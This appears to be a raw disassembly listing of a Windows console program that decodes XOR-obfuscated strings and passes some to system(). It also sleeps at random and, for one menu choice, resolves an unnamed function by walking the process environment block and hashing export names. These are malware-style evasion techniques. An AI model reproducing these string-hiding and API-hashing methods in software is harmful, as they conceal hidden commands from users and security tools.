mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004ba0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edi, 2
mov ebx, edi
movups xmm0, xmmword [str.230e]
movups xmmword [rsp + 0x68], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140004d40
cmp r12d, edi
jl 0x140004d05
mov edx, r14d
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x6c]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140004c20
jmp 0x140004d40
lea r9, [rsp + 0x68]
mov r8d, r14d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140004d10
lea rcx, [rsp + 0x68]
call fcn.140001370
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
sub ecx, eax
inc ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x140008588]
mov word [rsp + 0x20], ax
cmp byte [0x140008589], 0
je 0x140004d92
mov byte [rsp + 0x20], 0x2e
xor byte [rsp + 0x21], 0x39
lea rcx, [rsp + 0x20]
call fcn.140001370
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
sub ecx, eax
inc ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x140008588]
mov word [rsp + 0x20], ax
cmp byte [0x140008589], 0
je 0x140004de4
mov byte [rsp + 0x20], 0x2e
xor byte [rsp + 0x21], 0x39
lea rcx, [rsp + 0x20]
call fcn.140001370
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
sub ecx, eax
inc ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x140008588]
mov word [rsp + 0x20], ax
cmp byte [0x140008589], 0
je 0x140004e36
mov byte [rsp + 0x20], 0x2e
xor byte [rsp + 0x21], 0x39
lea rcx, [rsp + 0x20]
call fcn.140001370
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x10624dd3
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3e8
sub ecx, eax
inc ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str._UI_kM_IH]
mov dword [rsp + 0x20], eax
cmp byte [0x1400086bf], 0
je 0x140004f20
cmp r12d, edi
jl 0x140004ee3
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
jmp 0x140004f20
lea r9, [rsp + 0x20]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004ef0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
sub rbx, 1
jne 0x140004be2
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r13w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140008800]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140008810]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x140008820]
movups xmmword [rsp + 0x50], xmm0
movzx eax, word [0x140008830]
mov word [rsp + 0x60], ax
mov r8d, r14d
cmp r12d, edi
jl 0x14000508b
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140004fa0
cmp r8d, 0x32
jge 0x1400050d0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400050a0
lea rcx, [rsp + 0x30]
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140008720]
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x140008730]
mov dword [rsp + 0x40], eax
movzx eax, word [0x140008734]
mov word [rsp + 0x44], ax
movzx eax, byte [0x140008736]
mov byte [rsp + 0x46], al
mov r8d, r14d
cmp r12d, edi
jl 0x14000522b
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140005140
cmp r8d, 0x17
jge 0x140005270
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140005240
lea rcx, [rsp + 0x30]
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r13w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140008848]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140008858]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x140008868]
movups xmmword [rsp + 0x50], xmm0
movzx eax, word [0x140008878]
mov word [rsp + 0x60], ax
mov r8d, r14d
cmp r12d, edi
jl 0x1400053cb
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400052e0
cmp r8d, 0x32
jge 0x140005410
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400053e0
lea rcx, [rsp + 0x30]
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.uX]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140008650]
movups xmmword [rsp + 0x40], xmm1
mov eax, dword [0x140008660]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140008664]
mov byte [rsp + 0x54], al
mov r8d, r14d
cmp r12d, edi
jl 0x14000557c
movdqa xmmword [rsp + 0x20], xmm8
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140005491
cmp r8d, 0x25
jge 0x1400055c0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140005590
lea rcx, [rsp + 0x30]
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx edx, r13w
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x1400088cc]
mov dword [rsp + 0x20], eax
movzx eax, byte [0x1400088d0]
mov byte [rsp + 0x20], 0xa
xor byte [rsp + 0x21], 0x39
xor byte [rsp + 0x22], 0x3a
xor byte [rsp + 0x23], 0x3b
xor al, 0x3c
mov byte [rsp + 0x24], al
lea rcx, [rsp + 0x20]
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movzx eax, word [0x140008768]
mov word [rsp + 0x20], ax
lea rcx, [rsp + 0x20]
cmp byte [0x140008769], 0
je 0x140005652
mov byte [rsp + 0x20], 0x31
xor byte [rsp + 0x21], 0x39
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx edx, r13w
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400087c8]
movzx eax, byte [0x1400087d0]
movsd qword [rsp + 0x20], xmm0
mov byte [rsp + 0x20], 0x5d
xor byte [rsp + 0x21], 0x39
xor byte [rsp + 0x22], 0x3a
xor byte [rsp + 0x23], 0x3b
xor byte [rsp + 0x24], 0x3c
xor byte [rsp + 0x25], 0x3d
xor byte [rsp + 0x26], 0x3e
xor byte [rsp + 0x27], 0x3f
xor al, 0x40
mov byte [rsp + 0x28], al
lea rcx, [rsp + 0x20]
call fcn.140001370
mov eax, dword [0x1400088c8]
mov dword [rsp + 0x20], eax
cmp byte [0x1400088cb], 0
je 0x140005770
cmp r12d, edi
jl 0x140005736
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
jmp 0x140005770
lea r9, [rsp + 0x20]
mov r8d, r14d
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140005740
lea rcx, [rsp + 0x20]
call fcn.140001370
mov ebx, 4
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movzx eax, word [0x1400087a4]
mov word [rsp + 0x20], ax
lea rcx, [rsp + 0x20]
cmp byte [0x1400087a5], 0
je 0x1400057ba
mov byte [rsp + 0x20], 0x32
xor byte [rsp + 0x21], 0x39
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx edx, r13w
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [0x1400085ec]
mov dword [rsp + 0x20], eax
movzx eax, word [0x1400085f0]
mov word [rsp + 0x24], ax
movzx eax, byte [0x1400085f2]
mov byte [rsp + 0x20], 0x5d
xor byte [rsp + 0x21], 0x39
xor byte [rsp + 0x22], 0x3a
xor byte [rsp + 0x23], 0x3b
xor byte [rsp + 0x24], 0x3c
xor byte [rsp + 0x25], 0x3d
xor al, 0x3e
mov byte [rsp + 0x26], al
lea rcx, [rsp + 0x20]
call fcn.140001370
movups xmm0, xmmword [0x140008590]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1400085a0]
movups xmmword [rsp + 0x40], xmm1
movzx eax, word [0x1400085b0]
mov word [rsp + 0x50], ax
movzx eax, byte [0x1400085b2]
mov byte [rsp + 0x52], al
mov ecx, r14d
cmp r12d, edi
jl 0x140005958
movdqa xmmword [rsp + 0x20], xmm8
lea rdx, [rsp + 0x34]
mov r8d, dword [rsp + 0x20]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140005870
cmp ecx, 0x23
jge 0x14000599c
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
sub al, dl
add al, 0x38
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140005970
lea rcx, [rsp + 0x30]
call fcn.140001370
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [rbp - 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp - 0x68]
sub ecx, 1
je 0x140005ab7
cmp ecx, 1
jne 0x140005abc
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140005a73
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140005a73
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r10]
add rdx, r9
mov ecx, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140005a6e
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140005a50
cmp ecx, 0xcded1a85
je 0x140005a93
test r8d, r8d
jne 0x140005a30
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140005aad
cmp qword [rax + 0x30], 0
jne 0x140005a00
mov ecx, 0xfa0a1f01
call r14
jmp 0x140005abc
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx r8d, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov r14d, dword [rcx + r8*4]
add r14, r9
mov ecx, 0xfa0a1f01
call r14
jmp 0x140005abc
call fcn.1400019d0
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140006350
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret